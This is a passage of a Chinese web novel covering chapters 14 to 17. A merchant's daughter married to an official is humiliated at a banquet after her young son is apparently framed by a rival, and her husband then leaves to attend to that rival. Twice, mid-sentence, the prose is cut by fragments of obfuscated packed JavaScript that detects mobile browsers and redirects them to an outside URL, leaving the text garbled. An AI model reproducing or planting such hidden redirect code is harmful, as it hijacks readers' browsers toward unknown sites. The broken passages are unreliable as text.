再左看一眼,右看一眼,忽然生出一种不详的预感。 而且这种预感,一直持续到了他独立门户,开府设宴这一日。 14. 宴席 转眼便到了常府乔迁宴这日。 宋宝媛坐在梳妆镜前,手里拿着首饰盒,为自己挑着耳饰。 身后是巧月在给她绾发,身旁是江珂玉抱着江岁穗在等待。 江珂玉一边逗女儿,一边说道:“大哥年纪不大,但在家中辈分不小。其父病故,他的几位兄长不和,愈演愈烈,大事小事上矛盾重重。据他所说,家中是鸡飞狗跳不得安宁。他母亲忍无可忍,便提出了分家。本是气话,但大哥那几位兄长竟都同意了,便造就了如今局面。” 常府是扎根京城、有名望的大家族,突然分家,惹来不少猜疑。 “原来如此。”宋宝媛漫不经心地回应道。 “如今他自立门户,家中没有长辈,后宅是大嫂做主。大嫂你见过的,为人爽朗,是个好说话的。” “嗯。”宋宝媛垂眸,精心挑了对耳坠,递给身后巧月。 江珂玉忍不住抬头看她,但每次都装作不经意的样子。 夫人模样过甚,但性子偏软,一想到她要独自面对那些可能对其抱有偏见的贵妇人,他就不由得心生担忧。 江岁穗爬上爹爹肩头,目不转睛地盯着娘亲,期待地问:“我长大以后,会和娘亲一样漂亮吗?” 整个屋里的人都被她逗笑,氛围瞬间轻松了许多。 “小小姐长大后说不准会更漂亮呢!”巧月哄道。 江岁穗藏不住开心,害羞地将脑袋埋入爹爹肩颈间。 宋宝媛站起身来,眉目如画,身着湖蓝宽袖裙衫,看起来沉静又温柔,“走吧。” “嗯。”江珂玉轻声应下,抱起江岁穗往外走,跨过门槛又喊道:“江承佑!出门了!” “来了!” 听到招呼的江承佑不知在哪个角落里应了一声,话音一落,就像只小老鼠一样窜到了人前。 从江府到常府算不得近,路上便花了足足半个时辰,江岁穗也在爹爹怀里窝着睡了半个时辰。 驾车的六安刚说“到了”,马车一停下,江承佑便像被人赶似的跳出去。 “江承佑!”江珂玉对越来越活泼好动的儿子满是担忧,“去别人家里,不许乱跑和吵闹。” “承承。”宋宝媛掀开车帘,亦提醒,“牵妹妹一起走。” 江承佑没法,只好折回两步,乖乖站在马车旁等待。却忽地被人抱起,双脚腾了空。 “让我看看这是谁?” “常伯伯!” “你这小子,越来越有份量了。”常云柏将江承佑抱在手里掂了掂,啧啧感叹道。 江珂玉粗暴地将贺礼塞他手里,腾出手来抱稳女儿,又扶夫人下马车。 “常伯伯。”刚睡醒的江岁穗奶声奶气,“泱泱姐姐起床了吗?” 常云柏不自觉夹起嗓子,“知道岁穗要来,泱泱姐姐一大早就在等呢。” “你恶不恶心?”江珂玉对他语气表示嫌弃。 常云柏白他一眼,但没时间计较,“我还得招待其他客人,你们自己先进去吧。” “行。”江珂玉带着妻女绕开他,没两步又顿住,回头问:“高洛书今日来吗?” “难说,谁知道他又去哪鬼混了。” * 陆陆续续有客人涌入常府,多在走动,观赏这大价钱建造的新庭院。 伴随着女主人带着笑意的嘹亮嗓音,众人的视线被牵动,纷纷看向门口。 “我说夫君怎么还出府相迎,原来是江少卿和弟妹来了。” “大嫂。” “陆夫人。”宋宝媛微微欠身。 陆舒然自然地揽上她的胳膊,嗔怪一声,“你莫不是不知道你家郎君和我夫君的交情?我都唤你弟妹了,你却如此见外。” 宋宝媛身子微僵,下意识侧目。 江珂玉笑了笑,“自是应该叫嫂子的。” 被陆舒然用期待的眼睛盯着,宋宝媛浑身不自在,又察觉到周围无数陌生目光关注,更是紧张,“嫂子。” “这就对了!”陆舒然满意地拍了拍她的手,又抬头看向江珂玉,“男客在左边,江少卿自便。至于弟妹,你大可放心,我定会照顾好她。” “有劳大嫂。” 陆舒然不再搭理他,直接拉着宋宝媛往里走,“弟妹之前露面少,我得给大家好好介绍介绍。” “夫人!” 毫无预兆,江珂玉忽地扬声。 宋宝媛和陆舒然双双停下脚步,回头看来。 江珂玉不紧不慢地走近,伸手进袖口,“你的镯子忘在我这了。” 宋宝媛不明所以,她今日没带镯子。 “岁穗和江承佑有我看着,你不必忧心。”走到跟前,江珂玉低声叮嘱,“若遇难事,找我就是。” 江珂玉说着,在宋宝媛的怔怔注视和众目睽睽下,拿起她的手,给她带上了一只成色极好,但她从未见过的玉镯。 “不是说,江少卿不喜欢他那挟恩持报的夫人吗?” 旁观者窃窃私语,“这看着也不像不喜欢呀。” 陆舒然将他们夫妻相处看在眼里,将外人议论听在耳里,立刻明白江珂玉的意思。本欲再开口保证,断不会让弟妹受了委屈,谁料被人抢了先。 “宋姐姐你来了!”盛绮音从看客中小跑出来,殷勤道:“上次答应给宋姐姐介绍朋友的,大家都等着呢。” “欸?” 不等宋宝媛反应,陆舒然先拦下了盛绮音上来亲近的手,且横进她们两人中间,“小四你是客,怎还抢我这个主家的活干?” “大嫂和我还见外?”盛绮音笑容甜美,“何况今儿这么多客人,大嫂肯定忙不过来。” 陆舒然脸上挂着不达眼底的笑容,“贵客怎能假手于人呢?” 话音一落,她不等回应,拉走宋宝媛。 走出一段距离,陆舒然回头看了一眼,见盛绮音在和江珂玉说话,没有跟来,便小声道:“你放心,我知你不喜欢她,没有把你们安排在一桌席面。” 宋宝媛诧异,还在犹豫自己是不是该反驳时,又听见她说: “谁会喜欢一个跟自己夫君称兄道弟的女人。”陆舒然嗤笑道,“我也不喜欢,但他们男人就那句话,说什么认识的时候她就是个男人,做了好几年兄弟,后面恢复了女儿身也做不到把她当女人看。” 宋宝媛听来好笑。 “我在你边上安排的,都是我的闺中密友。她们人好相处,我也提前交代过,定不会为难于你。” 宋宝媛心中狐疑,这位陆夫人她之前就见过,但交情淡淡的,谈不上什么好坏,怎今日却对她如此热情。 不好多问,她最后只道了一声,“多谢。” 花园中,年轻妇人和未出阁的姑娘们三三两两站在一处谈笑,年长些的坐在凉亭里品茗交谈。 中央搭着台子,从秦香楼请来的乐人在弹着琵琶。 一派和谐。 “我给你们介绍一下。” 陆舒然将宋宝媛领到了三个年轻妇人面前。 “这位就是江少卿家的,宋夫人。之前去过江府的,应该都见过。” 宋宝媛规矩行了一礼。 三人互相对视,也欠身还了她一礼。 陆舒然转过头来,“这是翰林院周大人的正妻、工部苏主事的正妻和内阁章大人的孙媳妇。” 宋宝媛不着痕迹地将她们打量,首先看向中间那位妇人,眸中微露惊讶,“苏夫人这身织花锦艳而不俗,配上整套珍珠装饰,真是别出心裁,煞是好看。” 苏夫人眼前一亮,“终于有人看出来了!” 她抽身往宋宝媛身侧一站,毫不客气地指责原来的同伴,“这么久没见,我今早可是花了两个时辰来打扮这一身,你们两个瞎子!一个都没看出来!” “我看出来了。”周夫人认真道。 苏夫人眯了眯眼,满是质疑,“你看出什么来了?” 周夫人压根没看她,盯上宋宝媛的耳朵,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋宝媛无奈地叹了口气,“说来也不怕各位夫人笑话,前些年正是难的时候。双亲接连辞世,家中一应事务突然就压到了我这个什么都不懂的人身上。再加上夫君初入仕途,内外皆需打点,两个孩子趟赶趟地来了,离不得我这个母亲。我与夫君,一无长辈帮衬,二无兄弟姐妹相扶,我啊,实在是诸事缠身,焦头烂额,哪还有时间精力到外头来结识各位呢。” “哎哟。”苏夫人拉上她的手,流露些许心疼,“这我听着都觉得难,你也当真是辛苦。” “好在都熬过去了。”宋宝媛笑笑,轻描淡写道,“几年锤炼,家中事务也算得心应手。夫君仕途不用我操心,孩子也大了,我总算是有了闲暇。” 章夫人上前来拍了拍她的手,“咱们女人,还是得留点时间给自己。这样,我回去就挑个好日子,请你,还有你们,都来我府上。” 宋宝媛受宠若惊,“得章夫人相邀,自是我的荣幸。” 她思索片刻,问道:“不知各位夫人喜不喜酒,我家中别的没有,倒是有些酿酒的独到配方。到时候,我可带上新酿的青梅酒登门。” “那敢情好啊,咱们姐妹小酌几杯,更添意趣!” “欸欸欸?”陆舒然出声打断,“你们怎么回事?还在我府上就安排好下次了,是嫌我招待不周吗?” 几位夫人笑作一团,章夫人把她推开,“好了你,今日是你家大日子,你快别浪费时间在我们身上了,不然真要有人嫌你招待不周了。” 陆舒然左看一眼,右看一眼,最后看向宋宝媛。 “宋夫人有我们帮忙照看,你还有什么好担心的?” 陆舒然想起江珂玉的交待,面上难掩唏嘘。 “此前你夫君托我照拂于你,他说他夫人沉默乖顺,不善交际,容易受委屈。” 她摇了摇头,“看来,他并不了解你。” 宋宝媛愣了愣,低头瞧了眼手腕上那只陌生的手镯。 “或许吧。”她说。 * 遥遥相望,盛绮音独自站在假山旁,看着宋宝媛和贵妇人们和睦相处,谈笑自如,心中无端生出恐慌和危机感。 眼前的画面,和她想象得完全不一样。 这样一个觍着脸横刀夺爱、毁人姻缘,既要算计,又要装无辜的小人,凭什么还能得到大家的认可? 盛绮音侧目,看向坐在凉亭里听琵琶的妇人。 那是威宁侯夫人,早些年怀有身孕的时候,夫君纳了一个商女为妾。那妾室仗着受宠,无法无天,竟使绊子,害侯夫人摔跤,痛失爱子。 至今,威宁侯夫人还是无所出,一直被诟病。 她最恨的,就是商女。 15. 颜面 琵琶落幕,琴音登场,令常府整个花园都沉浸在祥和的乐声中。 “要我说,像这样分了家也挺好的,什么都能自己做主。不用看婆母脸色,不用处理妯娌关系,只用顾自己小家,多自在。” “是啊,不像我,每日都得去给我那婆婆请安,稍晚一点都要挑我的错处。早上想多睡一会儿,简直比登天还难!” 宋宝媛静静听着身边三位夫人闲聊,偶尔附和两句,相处也算融洽。 “啊!” “砰!” 忽地传出一声女子尖叫,瓷杯落地的碎裂声紧随其后。 众人纷纷朝声音的来源看去,宋宝媛也不例外。 是小凉亭,四面的人都为探明情况而围了过去,遮蔽了她的视线。 “这是怎么了?” “去瞧瞧!” 章夫人亦想凑热闹,顺手拽上身旁的宋宝媛一起过去。 宋宝媛虽然兴趣缺缺,但为了合群,便没有拒绝。 “你是谁家的孩子,这么没有家教!” “不是我干的!” 稚童的反驳声铿锵有力,宋宝媛愣了愣,觉得分外熟悉。 “证据都在你手里,你还敢狡辩!” “说了不是我干的!” 宋宝媛心中一惊,加快脚步,绕过挡在自己面前的人,终于可以看清凉亭里的人。 “好了承承,做错事没关系的,我们道歉就可以了。”盛绮音夹在妇人和孩子中间左右为难,“威远侯夫人,是我没看住他,我替他向您道歉,好吗?” “承承!” 听到熟悉的声音,江承佑猛地扭头,立刻撒开腿跑来,“娘!” 大家纷纷给他让路,只因他手上还捏着片树叶,树叶上趴着一只肥肥的毛毛虫。 “你是他亲娘?你怎么教孩子的!”小凉亭中的妇人脸色煞白,显然是被吓得不轻,“竟叫他把那恶心的虫子丢到我的茶杯里来!” 宋宝媛不明所以,只见盛绮音跟在江承佑后面,小跑到了她身边,面露愧疚。 “对不起宋姐姐,是我没有看好承承,让他冒犯了威远侯夫人。” 宋宝媛眉头轻蹙,瞥她一眼后又看向江承佑,握紧他的手腕,“你把毛毛虫丢到别人茶杯里了?” “我没有!”江承佑面露委屈,一个劲地摇头,“不是我做的!” “还敢狡辩?”威远侯夫人愈发恼怒,“那恶心的东西还在你手里,不是你还能有谁?” 宋宝媛赶忙欠身行了一礼,“侯夫人息怒,我儿若当真做了这种事,我定会好好教训他,让他给侯夫人请罪。但听侯夫人所言,并不能确定是他干的。所以还请侯夫人能给我一点时间,让我问清楚。” 威远侯夫人脸色难看,“难不成还是我冤枉他?” 宋宝媛蹲下身,安抚地摸了摸江承佑的脑袋,“承承,你不是跟妹妹在一起吗?怎么跑到这里来了?” “妹妹要喂小鸟,所以我、我出来给妹妹抓毛毛虫,然后、然后碰到了盛姑姑。”江承佑逐渐带了哭腔,“盛姑姑说花园里的毛毛虫多,我就跟她过来了。” 盛绮音弯下腰,小声道:“对不起宋姐姐,我没想到会发生这种事,是我没有看好承承,是我……” “不是我干的!”江承佑扬声将其打断。 “承承。”宋宝媛用掌心贴上江承佑的脸,用指腹温柔地拂了拂,引导他看向自己,“承承,娘亲跟你说过,主动承认错误就是好孩子。你知道娘不会怪你的,所以你乖乖告诉娘亲,你到底有没有把毛毛虫乱丢?” 江承佑顿时红了眼睛,“没有!” 大颗的眼泪从他眼中垂落,委屈到无以复加,“连娘你都不相信我!” “不是的,娘亲当然相信你!”宋宝媛慌了片刻,难掩心疼,连忙将他拢入怀中,轻轻拍他的背,“承承不哭,娘亲相信你,承承说没有就是没有。” “你什么意思?”听到这话的威远侯夫人重重地拍了下桌子。 宋宝媛温柔地擦掉江承佑的眼泪,回头唤道:“巧月,先带小少爷离开。” 巧月上前来,将江承佑抱起往外走,一步三回头,看向宋宝媛的眼中满是担忧。 宋宝媛回身,对着威远侯夫人再行一礼,“侯夫人,我并无推卸责任之意,但总不能因为他是个孩子,便不听他的辩驳。” 威远侯夫人冷笑,“证人可就站在你旁边呢。” “宋姐姐……”盛绮音怯怯低唤,忽又像下定了决心,朝威远侯夫人躬身行了大礼,扬声道:“侯夫人,惊吓到您,确是我看管不严,我向您道歉。您要打要罚,我都认。” “你道歉?他亲娘是死的吗?” 这话太不客气,围观看客都开始窃窃私语。 未免难堪,宋宝媛身子微僵,感受到四面的凝视,有些不知所措,却又不愿退缩。 威远侯夫人用不善的目光将她审视,“你是哪个小门小户的,我怎么没见过你。” 不等宋宝媛回答,守在凉亭一侧的婢女回复道:“禀侯夫人,那是大理寺少卿的夫人。” 威远侯夫人愣了愣,带着愤怒的眼中忽地多了几分恨意,再开口时的语气也更加充满恶意。 “你就是传说中那个,挟恩持报,夺人夫君的商户女。” 宋宝媛怔然,又是这句话。 “难怪养出的孩子丝毫没有教养,原来自己就是个没有羞耻心,不要脸的贱货!” 像是在平静湖面丢进一颗石子,四面的人像炸开一样议论纷纷,指指点点。 宋宝媛神色呆滞,脑子里像炸开一样“嗡嗡嗡”的响,让她短暂地失去思考。 她僵直地站立,不自觉捏起了拳头,又无力松开。 “我……” “宋姐姐。”盛绮音茫然地回头,无措地环顾一圈,苍白地替她争辩,“不是你们想的那样!” 威远侯夫人眼中愤恨不减,“把孩子教得这样顽劣又不知悔改也就罢了,事实摆在眼前,证人就在旁边,你还要嘴硬,不肯认错。这不是品行低劣是什么?不是厚颜无耻是什么?” “不是!” 宋宝媛倔强抬头,“不是他做的,你没有证据,你的证人也不可信!” “那还能是谁?”威远侯夫人拍案而起。 与此同时,盛绮音倏忽回头,不敢相信地后退了两步,“宋姐姐,你……你总不能觉得,是我诬蔑承承吧!” 她目露震惊,“我图什么?” “我、我……我知你袒护承承心切,也确实是我没看好他,是我有错在先,但你也不能大庭广众之下污我啊!” 盛绮音红了眼睛,“宋姐姐,我知你因当年的事情对我有偏见,觉得我碰了的东西就脏了,觉得我出现就碍眼,可我也已经很努力在讨好你了呀!我帮你看孩子,带你去散心,给你买礼物……你不接受我不怪你,但你也不能、不能……” 眼泪模糊了眼睛,她哽咽着,说不出话来。 仿佛全身血气逆流,宋宝媛的情绪直抵头顶,令她红了脸,心跳也快得像要蹦出来。 心中憋闷,却又因不知如何辩驳而深觉自己无能为力,又狼狈不堪。 威远侯夫人冷笑一声,“果然是上不得台面的商户女,为了自己,谁都能攀咬。” 在宋宝媛的耳里,四面的声音逐渐清晰了起来。 “看来传闻不是空穴来风啊,难怪江少卿之前都不带她出门呢。” “她怎么这样,盛姑娘明明一直在替她说话,她还反咬一口,太恶毒了吧!” “有什么奇怪的,有个挟恩持报的爹,又有个无法无天的儿子,上梁不正下梁歪,她能是什么好东西?” “……” 这些声音像是汹涌而来的潮水,又像是密不透风的网,将她淹没,将她埋葬。 令她惶然,令她窒息。 忽然,被人握住手腕,猛地往后一拉,她被迫转身,撞入结实的怀抱。 眼前是男子的胸膛,而非无穷无尽的生人指摘,宋宝媛如溺水之时抓住了救命稻草,终于得到片刻喘息。 鼻子一酸,眼泪便夺眶而出。 “没事了。”江珂玉低声道。 掌心轻轻抚过她的后背,又面无表情地抬头。 常云柏夫妇没赶得上他的脚步,晚了片刻才出现在他左右。 “犬子顽劣,惊扰了侯夫人。还望侯夫人看在稚子年幼的 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“没事了。”江珂玉垂首,见她眼尾泛红的模样,心中情绪难明,“对不起,我来晚了。” “我想回家。”宋宝媛感觉头顶笼罩厚厚的乌云,耳边有驱之不散的声音,她低头喃喃,“我想回家。” 江珂玉第二遍才听清她在说什么,柔声应道:“好,我们回家。” 他眉头紧锁,抬头看去,“大哥,我们今日就先回去了。” “行。”常云柏微不可察地叹了口气,“岁穗还在跟泱泱玩,你先带弟妹回去,晚些我再亲自送岁穗和承承回你府上。” “多谢。” 江珂玉迟疑片刻,伸手揽上宋宝媛的腰,将其横抱,欲将其带离。 盛绮音怔怔看着,不自觉地跟着走了两边。 “你没事吧。”常云柏突然发现还有个她,上前关切问。 盛绮音木讷地摇了摇头,心中委屈更甚。 * 常府大门前,只拎着两条咸鱼的高洛书大摇大摆地登门,但见门口停靠的马车有些眼熟,便多看了几眼。 见驾车的是六安,心中立刻有了底,扬声大喊:“江珂玉!” 过了片刻,车窗的帘子被掀开一角,露出江珂玉冷漠的半张脸。 “你这是刚来还是要走?”高洛书乐呵呵地走近。 江珂玉言简意赅,“走。” “怎么这就走了?不是还没到饭点吗?” “你管我。”江珂玉撂了帘子,懒得再与他掰扯,“六安,回府。” 六安闻言立刻驱马。 “欸欸?”高洛书诧异地跟着马车跑了两步,“跑那么快干嘛?” 他低头看了一眼手中的咸鱼,嘴里嘀咕:“又不跟你借钱。” 江珂玉已经听不着他的诽谤,看向自己正靠着车壁休憩、好像陷入阴霾的妻子,心中好似被针扎一般疼了一瞬。 “没事了。”他安慰道,“我们马上就回家了。” 宋宝媛半睁着眼,眉睫忽闪,不敢抬头看他,“对不起。” 她声音低低的,“我好像……让你也丢了颜面。” “胡说什么呢。”江珂玉犹豫再三,还是将自己的掌心,叠在她的手背上,意图以此来安抚她的情绪,“是我不好才对,我应该早些出现在你身边。” 宋宝媛无心为自己辩解,但……又执拗,“承承不会跟我说谎的,肯定不是他做的。” 江珂玉怔愣片刻,有些无奈,“你不要再想这件事情了,当时的情况,有事实,有佐证,谁也分说不清楚。你是他亲娘自然相信他,可旁人却很难做到,甚至,还会误解你。” 佐证,盛绮音的话吗?宋宝媛一个字都不信。 但在承承和盛绮音之间,任何人都会倾向于相信后者。 宋宝媛再次感到了无力,因为她知道,眼前的夫君,也会相信后者。 连自己的爹爹都不信,旁人又怎会相信呢? 宋宝媛疲惫地闭上了眼睛,一时竟不知,该先心疼承承,还是先为自己难过。 16. 眩晕 城南的盛府,是人尽皆知的书香世家。 府宅久远,一砖一瓦、一草一木都有着岁月的痕迹。 静谧的祠堂中,盛绮音独自坐在香案前的软垫上,神色不愉,又心事重重。 “咳咳!” 她循声看去,守在门口的丫头正在朝她用力摆手。她反应过来,连忙转过身,跪上软垫,挺直腰身。 没过多久,她的祖父和父亲,也就是桃李满天下的盛老盛明彰和盛家大老爷盛从禹一同走进了祠堂。 “绮音见过祖父、父亲,跪拜祖宗不便行礼,还望祖父、父亲见谅。” 盛明彰听她的语气,便知她心中不满,但仍问道:“你可知错?” “绮音不过是受邀去参加了常府的乔迁宴,回来便被罚跪在这里,也没人与我说话,实在不知错在哪里。” 她说得不卑不亢,却让盛明彰更加恼火,“你就这么确信,没人亲眼瞧见你在大庭广众之下玩的小把戏吗?” 盛绮音骤然脸色煞白。 “不过因为你是盛府的孙女,因为要给你祖父我留颜面,才没叫人拆穿罢了!”盛明彰说着背过身去,显然被气得不轻。 “父亲息怒,身体要紧。”盛从禹上前安抚,又回头不解问:“你个丫头,还不认错?还不给你祖父道歉?你无缘无故去针对一个小孩子作甚?” 盛绮音紧咬嘴唇,没有出声。 盛明彰轻哼,“她哪里是针对人家孩子,她针对的是人家母亲!” 他摇了摇头,似乎痛心,“如此在人前使手段,耍心机,平日里你爹娘,还有你祖父我,就是这么教你的吗?” “我不过是以其人之道还其人之身!”盛绮音仰头,理直气壮道,“我知道我很幼稚,可她仗着爹要死了就抢我姻缘,夺我夫婿,她难道不比我下作吗?” 盛明彰不可置信地睁大了眼睛,“不过为了个男人,你便没了羞耻心,自甘堕落?” “不只是一个男人!”盛绮音红了眼眶,“她夺走是我的人生!” 她逐渐染了哭腔,“若非是她横插一脚,现在夫妻恩爱,家庭美满的人就是我!今日二哥当众维护的人也会是我!” “你够了!”盛明彰怒道。 盛绮音被他突然的冷厉吓得一怔,下一刻,委屈在心口汇聚成汪洋大海,“祖父,你不是最疼绮音了吗?当初我们两情相悦,你是最高兴的。可得知他要为了报答养育之恩娶别人的时候,你为什么不替我说话?他一直以来,都最尊重你,最听你的话了。当初明明只要你出面,就不有那样的结果!” 盛明彰叹了口气,“他的养父栽培他近十载,末了只留下这么一个无依无靠的女儿。他娶此女照顾终生,是孝,是德,我有何理由阻拦?再者我的身份是他老师,怎能教他做那无孝无德之人?” “那我呢?”盛绮音泪眼婆娑,“您便忍心,眼睁睁看着我误了终生吗?” “天底下的好儿郎又不止他江珂玉一个,何况……” 盛明彰看着哭得上气不接下气的孙女,心疼得住了嘴。 事实上,他们两人又何曾两情相悦过呢? 盛明彰想起六年前,为了孙女,他将自己最得意的门生单独叫进屋,问其可有成家的打算。 那时的江珂玉虽少年老成,但比起现在,不知青涩多少倍。少年闻言有些不知所措,不明白老师为什么突然问这个,也直言自己还未想过成家。 盛明彰笑着问:“你觉得绮音如何?” 年少的江珂玉愣了片刻,诚然道:“学生与小四初识,她是男儿身,几年来已经习惯了把她当弟弟看待。纵然她恢复女儿身,学生待她也依旧是朋友之谊,绝无男女之情。” “可感情是可以培养的,待身份转变,再过个几年,或许就不一样了。” 江珂玉沉默了,大概是因为从来没有拒绝过老师,所以不知如何开口。 盛明彰瞧出他的为难,可为了孙女,自己第一次动了私心。 “你不是一直想去大理寺吗?” 江珂玉怔然,片刻后,坚定地点了点头。 盛明彰看着孙女此刻伤心的模样,不忍说出真相,只能苦口婆心地相劝,“绮音,已经过去这么多年了,他已经成了别人的丈夫,别人的父亲,你也应该向前看了啊。” 盛绮音一边哭一边摇头,“我不!” “你这孩子怎就这么不听劝呢?”盛明彰无奈至极。 盛从禹唯恐女儿因此失了父亲宠爱,忙道:“父亲您先回去休息,相信绮音只是一时钻了牛角尖,孩儿留下来跟她讲道理,她肯定能想通的。” 盛明彰连连叹息,“罢了。” 先行离去。 他一走,盛绮音哭得更放肆了。 盛从禹手忙脚乱,“好女儿,你就这么喜欢他吗?” “我喜欢他,爹爹,我喜欢了他好多年!明明我才是与他最相配的,可是……女儿怎么甘心!”盛绮音抱上父亲的胳膊,“爹爹,你帮我求求祖父,祖父说的话对二哥最有用了!你帮帮我!” 盛从禹却拧起眉头,“那江少卿曾经无人扶持,你祖父是他唯一的倚靠,自然听话。可如今不一样了,前两年他为亲生父亲翻了案,后来又在大理寺屡屡建功,得了圣上青睐。圣上最喜欢他这种没有复杂背景,又能力出众的年轻人,所以他早就无需你祖父做攀云梯。” 盛绮音微怔,愈发难过,“就……就算如此,也不是完全无用。” “最重要的,是他已经有了妻儿,你祖父总不能帮你去破坏别人家庭吧!” “不是、不是的!”盛绮音着急道,“我没有破坏,那本来就是我的!而且……而且二哥的书房里还有我的画像,他心里也还是有我的!” 盛从禹微微讶异,“当真?” “嗯!是我亲眼所见!” * 午后的气温骤降,又起了风,像是要下雨的样子。 江府的下人们正在抓紧时间搬花,将新采买的松叶牡丹送入花房,免其被突然的大雨淋坏。 宋宝媛静静地站在长廊边看着众人忙碌,手边还放着一盆开得正好的牡丹,指尖离花瓣咫尺距离,却久久没有动弹。 她整个人,就像失神一般呆滞。 不知过了多久,有人从身后给她盖上披风,她才有所反应。 “怎么不在房里休息。”江珂玉走到了她的身侧。 风着实有些大了,吹得青丝微微凌乱,宋宝媛自觉地拢了拢披风,保留下些许暖意。 “有点闷。”她如实道。 是空气的闷热,还是心情的郁闷,江珂玉想,或许两种都有。 他言语迟疑,“今日,她们说了很难听的话吗?” 宋宝媛垂眸,盯着风中摇曳的牡丹花,没有回答。 却赶在江珂玉再开口前问:“你怎么会突然过来。” “是巧月,她带着江承佑火急火燎地来找我,说承承给你惹了麻烦。” 或许,是她给承承引来了麻烦,宋宝媛心想。 江珂玉侧目,亦看向孤零零的牡丹花,“是我不好,明知你可能会受委屈,却还是抱有侥幸,让你独自去交际。若你不自在、不喜欢,日后这些场合,都可以不去。” “难怪江少卿从来不带她出门,果然是上不了台面。” 宋宝媛的耳边,倏忽响起陌生又恶意的声音。 她下意识晃了晃脑袋,想将其驱走,可这些声音就像阴霾一般,去了又来。 “商户女!不知廉耻!上梁不正下梁歪!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357213|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“也难怪江少卿嫌她拿不出手,这换谁娶了,都一样!” “……” 四面八方的声音如潮水般涌来,令宋宝媛感到眩晕。她抬起手,拍拍脑袋,意图让自己清醒。 江珂玉诧异,“怎么了?” 宋宝媛似乎听不到他的询问,依旧拍着脑袋,力度越来越大。 “夫人!” 江珂玉不得不扣下她的手腕。 宋宝媛猛然惊醒,如同从噩梦中脱身。 “你怎么了?” “我……” 宋宝媛怔然,她怎么了?要把自己溺死在他人的议论声中吗?可明明不是那样的,她为什么反驳不了?为什么逃脱不掉? 因为她脆弱,因为她无能,因为她可能就是别人说的那样,只是自己不愿意承认? 好似卷入漩涡,寻不到支点,只能越陷越深。 宋宝媛下意识收紧手心,如同握住救命稻草般,抓住自己此刻唯一能够到的东西。 被她蓦然攥紧的,是江珂玉的拇指。不寻常的力度,令他茫然。从妻子眼中流露的无助,更使他局促。 第一次,这是宋宝媛第一次,像是不顾一切,主动扑向他的怀抱。 他的胸膛灼热,宋宝媛无暇其他,只顾着汲取他的温度,甚至未曾发觉那颗砰砰直跳,乱了节奏的心,不是自己的。 或许是捕捉到了她的求救信号,江珂玉在片刻的恍惚之后,缓慢地抬起手,将她拥入。又试图安慰,所以轻柔地,抚过她的青丝。 穿过长廊的风越来越猖狂,将嫣然的牡丹吹落半凋零,使相拥之人,衣袂翩飞。 时间在静默中悄然流逝,半刻钟、一刻钟、两刻钟…… 过路的婢女、花匠,默契地不打扰。 “咳。” 寻到此处的六安感到自己突兀,却又不得不出声,“咳!” 江珂玉抬眼。 六安硬着头皮道:“郎君,盛府的人前来,请您过府一叙。” 宋宝媛忽地睁开了眼睛,除此之外,没有其他动作。 她听到江珂玉问:“可有说何事?” 六安左右瞧了瞧,压了点声音,“说是盛姑娘,无端受辱……羞愤欲死。” 江珂玉没有立刻答复,而是先低头,看了一眼怀中不曾动弹的人。 良久,他才道:“我得出门一趟。” 宋宝媛当然听得到,也早有预料,可心中仍怀有期冀,所以当作与世隔绝般,一动不动。 江珂玉惊觉她抱自己这样紧,可去掰她的附在自己腰上的手时,还没用力,她便松开了。 “你先回房休息,我去去就回,好吗?” 如果她说不好,就不走了吗?宋宝媛心知,不会的。 无论他的语气有多温柔,他说出的话也不是商量,而是告知。 从来如此。 宋宝媛一声不吭,只是手臂,在察觉到他剥离的意图时,似无力般垂落。 “巧银。”江珂玉沉声唤道,“带夫人回房,莫要着凉。” 巧银没有应声,但老实走了过来。 宋宝媛始终没有抬头,视线无意中落在被风摧残后,不复美丽的牡丹花上。 纵使她没有用眼睛去看,也知道,在巧银走到自己身边的时候,江珂玉便立刻转身,步伐匆匆地走远。 是很担心那个人吗? 回来见她时,也会如此急迫吗? 她的感受,就一点也不重要吗? 宋宝媛不敢问出口,甚至不敢看他离开的背影。 六年了,她依旧在这份感情里,如此胆怯。 够了,已经六年了,真的够了。 晶莹的泪珠滑过脸庞,随着风的方向,打湿牡丹残余的花瓣。 17. 大雨 临近傍晚,果然下起了雨。起初只是淅淅沥沥,后面却成了瓢泼大雨,似乎把整个街道都冲刷干净。 “找到了吗?” 盛府的下人大半在外,寻着从家中偷跑出来的小姐。 “没呢!” “赶紧继续找!” 江珂玉和常云柏在盛府的屋檐下相遇,前者眉头蹙起,“你怎么在这?我孩子呢?” “今日事情发生在我家,我怎能撇得开关系。”常云柏沉沉叹息,“你放心,我花大价钱雇了个靠谱的人,在下雨之前就出发送承承和岁穗回家了。” “雇?” 常云柏挑了挑眉,并未明说。 江珂玉已然猜到,便换了个问题,“既脱不了干系,你还不赶紧去找人?” “你不也就干站这?” 两人并排站在大门口,看着盛府的下人进进出出。 常云柏摇了摇头,“我就说这几天预感不好,还真出了事。你说弟妹也是,心疼承承能理解,身为母亲,急着维护孩子也正常,但也不能把帽子扣给小四啊!小四本是好心带承承玩,也……” 察觉到身旁冷漠的视线,他眼皮跳了跳,没再继续说下去。 江珂玉的语气听不出情绪,“你可有问过你府上在场的下人,事情的全部经过?” “自然。”常云柏挠挠头,“不过有件事情我也是刚刚才知道,我夫人说,威远侯曾经纳过一个商女为妾,那妾室进门后弄掉了威远侯夫人怀的孩子。虽然那个商女后来死了,但威远侯夫人也再没怀上过子嗣。所以威远侯夫人一直痛恨商女,知道弟妹身份后,说话可能就……有点过分。” 无情的大雨砸落,过路的下人脚步又湿又重,令江珂玉的耳边嘈杂。 “事已至此,我定是推卸不了责任,改日我一定登门拜访,向弟妹赔罪。”常云柏目露忧愁,“不过现下最重要的,还是先找到小四。” 他扭头,“你知道她在哪吗?” “我应该知道吗?”江珂玉反问。 常云柏一时语塞,好像不应该,可直觉告诉他,这家伙不会猜不到。 “你就一点不着急?” 